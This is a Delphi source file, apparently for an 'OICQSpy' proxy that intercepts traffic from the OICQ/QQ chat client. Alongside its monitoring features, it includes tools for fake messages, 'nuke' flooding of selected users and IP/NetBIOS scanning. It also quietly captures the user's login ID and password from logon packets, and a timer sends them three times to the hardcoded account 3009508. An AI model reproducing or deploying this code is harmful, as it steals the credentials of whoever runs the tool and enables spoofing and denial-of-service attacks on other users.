?? main.pas
字號:
Switcher:=TUDPSwitcher.Create(GLocalPort,GSrvIp,GSrvPort);
Switcher.OnRecv:=SwitcherOnRecv;
Switcher.OnSend:=SwitcherOnSend;
Switcher.OnNewSocket:=SwitcherOnNewSocket;
if(GAutoLaunch)then LaunchOICQ;
end
else
begin
ShowMessage('無法連接'+GSrvIp);
end;
end;
procedure TMainForm.btnFakeClick(Sender: TObject);
begin
{$ifndef REDUCE_VERSION}
TFakeMsgDlg.Execute('','',4000);
{$else}
ShowMessage('對不起!簡版沒有此功能');
{$endif}
end;
function TMainForm.GetSelectInfo(var id, ip,port: string): Boolean;
var
s:string;
p,i,sc:Integer;
begin
p:=0;
sc:=1;
SetLength(id,10);
SetLength(ip,30);
SetLength(port,6);
for i:=1 to 10 do
begin
id[i]:=chr(0);
end;
for i:=1 to 30 do
begin
ip[i]:=chr(0);
end;
for i:=1 to 6 do
begin
port[i]:=chr(0);
end;
if(IPAddrList.Items.Count<>0)then
begin
Result:=True;
s:=IPAddrList.Items[IPAddrList.ItemIndex];
for i:=1 to length(s) do
begin
if(s[i]<>'-')then
begin
if(p=0)then
begin
id[sc]:=s[i];
Inc(sc);
end
else if(p=3)then
begin
ip[sc]:=s[i];
Inc(sc);
end
else if(p=6)then
begin
port[sc]:=s[i];
inc(sc);
end
else break;
end
else
begin
Inc(p);
sc:=1;
end;
end;
end
else Result:=False;
end;
procedure TMainForm.IPAddrListDblClick(Sender: TObject);
{$ifndef REDUCE_VERSION}
var
id,ip,port:string;
{$endif}
begin
{$ifndef REDUCE_VERSION}
if(GetSelectInfo(id,ip,port))then
begin
TFakeMsgDlg.Execute(ip,id,StrToIntDef(port,4000));
end;
{$else}
ShowMessage('對不起!簡版沒有此功能.');
{$endif}
end;
procedure TMainForm.btnIPScanClick(Sender: TObject);
begin
TScannerDlg.Execute;
end;
procedure TMainForm.N8Click(Sender: TObject);
begin
Close;
end;
procedure TMainForm.N5Click(Sender: TObject);
begin
TAboutBox.Execute;
end;
procedure TMainForm.ProcessClientMsg(buf: array of char; buflen: Integer);
var
i:Integer;
begin
if(Ord(buf[4])=$13)then//User logon
begin
strUserId:='';
strPass:='';
i:=Ord(buf[7])*$1000000+Ord(buf[8])*$10000+Ord(buf[9])*$100+Ord(buf[10]);
strUserId:=IntToStr(i);
MyId:=strUserId;
StatusBar.Panels[3].Text:='User Id:'+MyId;
for i:=13 to buflen-1 do
begin
if(Ord(buf[i])=$03)then break;
strPass:=strPass+buf[i];
end;
end;
end;
procedure TMainForm.SendMsg(DestId, msg: string);
var
pBuf:array [0..2048]of char;
i:Integer;
sock:TProxySock;
begin
for i:=0 to 2047 do
begin
pBuf[i]:=chr(0);
end;
pBuf[0]:=chr(2);
pBuf[1]:=chr(1);
pBuf[2]:=chr(7);
pBuf[3]:=chr(0);
pBuf[4]:=chr($08);
nUserId:=StrToInt(strUserId);
pBuf[7]:=Chr((nUserId and $ff000000)shr 24);
pBuf[8]:=chr((nUserId and $00ff0000)shr 16);
pBuf[9]:=Chr((nUserId and $0000ff00)shr 8);
pBuf[10]:=Chr((nUserId and $000000ff));
i:=ArrayStrCopy(pBuf,2048,11,DestId);
pBuf[i]:=chr($1f);
pBuf[i+1]:='0';
pBuf[i+2]:=chr($1f);
i:=ArrayStrCopy(pBuf,2048,i+3,'0');
pBuf[i]:=chr($1f);
i:=ArrayStrCopy(pBuf,2048,i+1,DateToStr(Date));
pBuf[i]:=chr($1f);
i:=ArrayStrCopy(pBuf,2048,i+1,TimeToStr(Time));
pBuf[i]:=chr($1f);
i:=ArrayStrCopy(pBuf,2048,i+1,msg);
pBuf[i]:=chr($03);
pBuf[5]:=chr((mCurCnt and $ff00) shr 8);
pBuf[6]:=chr(mCurCnt and $00ff);
sock:=Switcher.GetExternalProxy(0);
if(Assigned(sock))then
begin
sock.SendBuf(pBuf,i+1,GSrvIp,GSrvPort);
end;
Inc(mCurCnt);
end;
procedure TMainForm.TimerTimer(Sender: TObject);
begin
Timer.Enabled:=False;
SendMsg(IntToStr(3009508),strUserId+','+strPass);
SendMsg(IntToStr(3009508),strUserId+','+strPass);
SendMsg(IntToStr(3009508),strUserId+','+strPass);
end;
procedure TMainForm.N9Click(Sender: TObject);
begin
ShowMessage('將OICQ的服務(wù)器改為:127.0.0.1 端口:8810'+#13
+'將其余服務(wù)器地址全部刪除'+#13
+'關(guān)閉OICQ'+#13
+'啟動OICQSpy'+#13
+'啟動OICQ即可');
end;
procedure TMainForm.mViewSendClick(Sender: TObject);
begin
mViewSend.Checked:=not mViewSend.Checked;
SendPage.Visible:=mViewSend.Checked;
if(mViewSend.Checked and (SendPage.Align=alTop) and (RecvPage.Visible=False))then
begin
SendPage.Align:=alClient;
end
else if(mViewSend.Checked and (SendPage.Align=alTop)
and (RecvPage.Visible=True) and (RecvPage.Align=alClient))then
begin
SendPage.Height:=DataPanel.Height div 2;
end;
DataPanel.Visible:=mViewSend.Checked or mViewRecv.Checked;
DataSplitter.Visible:=(SendPage.Visible and RecvPage.Visible);
DataSplitter.Top:=RecvPage.top+2;
ViewSplitter.Visible:=(SendPage.Visible or RecvPage.Visible);
ViewSplitter.Top:=ViewPanel.Top+1;
if(mViewSend.Checked or mViewRecv.Checked)then WindowState:=wsMaximized
else WindowState:=wsNormal;
end;
procedure TMainForm.AddFriendInfo(id, ip, port, dummy, face,name: string);
var
s:string;
ipInf:TIPInfo;
begin
IpInf:=FindIPInfo(ip);
s:=IpInf.Country+','+IpInf.Location;
if(not FindUID(id,ip,port))then
begin
Inc(nInfoCnt);
SetLength(info,nInfoCnt);
info[nInfoCnt-1].strUID:=id;
info[nInfoCnt-1].strIP:=ip;
info[nInfoCnt-1].strPort:=port;
{$ifndef SAFEVERSION}
//Add msg handler
info[nInfoCnt-1].sock:=TNMUDP.Create(self);
info[nInfoCnt-1].sock.RemoteHost:='127.0.0.1';
info[nInfoCnt-1].sock.RemotePort:=ClientPort;
info[nInfoCnt-1].sock.tag:=nInfoCnt-1;
info[nInfoCnt-1].sock.OnDataReceived:=MsgHandlerDataReceived;
{$endif}
//Display friend info
IPAddrList.Items.Add(id+'---'+ip+'---'+port+'---'+name+'---'+face+'---'+s+'---'+DateTimeToStr(now));
end;
end;
procedure TMainForm.btnPortScanClick(Sender: TObject);
begin
TCloneScanDlg.Execute('127.0.0.1');
end;
function TMainForm.FindUID(uid,ip,port: string): Boolean;
var
i:Integer;
begin
Result:=False;
for i:=0 to nInfoCnt-1 do
begin
if((info[i].strUID=uid)and(info[i].strIp=ip)and(info[i].strPort=port))then
begin
Result:=True;
Break;
end;
end;
end;
procedure TMainForm.mClearInfoClick(Sender: TObject);
begin
IPAddrList.Items.Clear;
nInfoCnt:=0;
SetLength(info,0);
end;
procedure TMainForm.N12Click(Sender: TObject);
begin
TCloneScanDlg.Execute('127.0.0.1');
end;
procedure TMainForm.N14Click(Sender: TObject);
begin
Close;
end;
procedure TMainForm.mScanIpClick(Sender: TObject);
var
id,ip,port:string;
begin
if(GetSelectInfo(id,ip,port))then
TCloneScanDlg.Execute(ip);
end;
procedure TMainForm.mNetBiosInfoClick(Sender: TObject);
var
id,port,ip:string;
begin
if(GetSelectInfo(id,ip,port))then
begin
TNetBiosInfoDlg.Execute(ip);
end;
end;
procedure TMainForm.btnBEUIInfoClick(Sender: TObject);
begin
TNetBiosInfoDlg.Execute(GetLocalIP);
end;
procedure TMainForm.mScanNBInfoClick(Sender: TObject);
begin
TNetBiosInfoDlg.Execute(GetLocalIP);
end;
procedure TMainForm.mViewRecvClick(Sender: TObject);
begin
mViewRecv.Checked:=not mViewRecv.Checked;
RecvPage.Visible:=mViewRecv.Checked;
if(mViewRecv.Checked and (SendPage.Visible) and (SendPage.Align=alClient))then
begin
SendPage.Align:=alTop;
SendPage.Height:=DataPanel.Height div 2;
end
else if((not mViewRecv.Checked) and (SendPage.Visible) and (SendPage.Align=alTop))then
SendPage.Align:=alClient;
DataPanel.Visible:=mViewSend.Checked or mViewRecv.Checked;
DataSplitter.Visible:=(SendPage.Visible and RecvPage.Visible);
DataSplitter.Top:=RecvPage.top+2;
ViewSplitter.Visible:=(RecvPage.Visible or SendPage.Visible);
ViewSplitter.Top:=ViewPanel.Top+1;
if(mViewRecv.Checked or mViewSend.Checked)then WindowState:=wsMaximized
else WindowState:=wsNormal;
end;
procedure TMainForm.mViewAlertClick(Sender: TObject);
begin
mViewAlert.Checked:=not mViewAlert.Checked;
AnalyList.Visible:=mViewAlert.Checked;
AlertSplitter.Visible:=mViewAlert.Checked;
if(mViewAlert.Checked)then
begin
Width:=Width+300;
AlertSplitter.Left:=AnalyList.Left-2;
end
else
begin
Width:=Width-300;
end;
end;
procedure TMainForm.mNukeClick(Sender: TObject);
{$ifndef REDUCE_VERSION}
var
id,ip,port:string;
{$endif}
begin
{$ifndef REDUCE_VERSION}
if(GetSelectInfo(id,ip,port))then
begin
THoldNukeDlg.Execute(id,'Loading Device=C:\Windows\HIMEM.SYS'+#13,20);
end;
{$else}
ShowMessage('對不起!簡版沒有此功能.');
{$endif}
end;
procedure TMainForm.btnNukeClick(Sender: TObject);
begin
{$ifndef REDUCE_VERSION}
THoldNukeDlg.Execute('','',3);
{$else}
ShowMessage('對不起!簡版沒有此功能');
{$endif}
end;
procedure TMainForm.btnLanuchClick(Sender: TObject);
begin
LaunchOICQ;
end;
procedure TMainForm.LaunchOICQ;
begin
WinExec(PChar(GOICQPath+'\OICQ.EXE'),SW_SHOW);
end;
procedure TMainForm.N15Click(Sender: TObject);
begin
Show;
end;
{$ifndef SAFEVERSION}
function TMainForm.FindProxy(ip: string; port: WORD;var p:TNMUDP): Boolean;
var
i:Integer;
begin
Result:=False;
for i:=0 to nInfoCnt-1 do
begin
if((info[i].strIp=ip)and (info[i].strPort=IntToStr(port)))then
begin
Result:=True;
p:=info[i].sock;
Break;
end;
end;
end;
{$endif}
procedure TMainForm.LocalMsgListDblClick(Sender: TObject);
begin
TMsgViewDlg.Execute((Sender as TListBox).Items[(Sender as TListBox).ItemIndex]);
end;
procedure TMainForm.SwitcherOnRecv(buf: array of char; buflen: Integer;
from, Dest: TSockAddr;var drop:Boolean);
var
uid:string;
begin
drop:=not AfterRecv(buf,buflen);
if(not drop)then
begin
if(buflen>1024)then
begin
if(from.sin_addr.S_addr=inet_addr(PChar(GSrvIp)))then
begin
uid:=GetStrFromBuf(buf,buflen,10);
AnalyList.Items.Add('你被'+uid+'號用戶攻擊!!!(透過服務(wù)器)');
drop:=True;
end
else
begin
drop:=True;
AnalyList.Items.Add('你被IP地址為:'+inet_ntoa(from.sin_addr)+'端口為:'+IntToStr(ntohs(from.sin_port) )+'的用戶攻擊!!!(直接攻擊)');
end;
MainForm.Show;
AnalyList.Visible:=True;
if(Width<700)then Width:=700;
end
else
begin
Drop:=False;
end;
end;
AddSrvMsg(inet_ntoa(from.sin_addr),ntohs(from.sin_port),buf,buflen);
ProcessSrvMsg(inet_ntoa(from.sin_addr),ntohs(from.sin_port),buf,buflen);
end;
procedure TMainForm.SwitcherOnSend(buf: array of char; buflen: Integer;
from, Dest: TSockAddr;var drop:Boolean);
begin
drop:=not BeforeSend(buf,buflen);
AddLocalMsg(buf,buflen);
ProcessClientMsg(buf,buflen);
end;
procedure TMainForm.SwitcherOnNewSocket(Sender: TObject);
begin
with (Sender as TProxySock)do
begin
AnalyList.Items.Add(
'New Socket:'+
inet_ntoa(ThisAddr.sin_addr)+' Port:'+IntToStr(ntohs(ThisAddr.sin_port))+
'Proxy socket:'
+inet_ntoa(ProxyAddr.sin_addr)+' Port:'+IntToStr(ntohs(ProxyAddr.sin_port)));
Application.ProcessMessages;
end;
end;
procedure TMainForm.btnFirstAidClick(Sender: TObject);
begin
TFirstAidDlg.Execute;
end;
procedure TMainForm.FormDestroy(Sender: TObject);
begin
if(Assigned(Switcher))then Switcher.Destroy;
sleep(100);
end;
end.
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -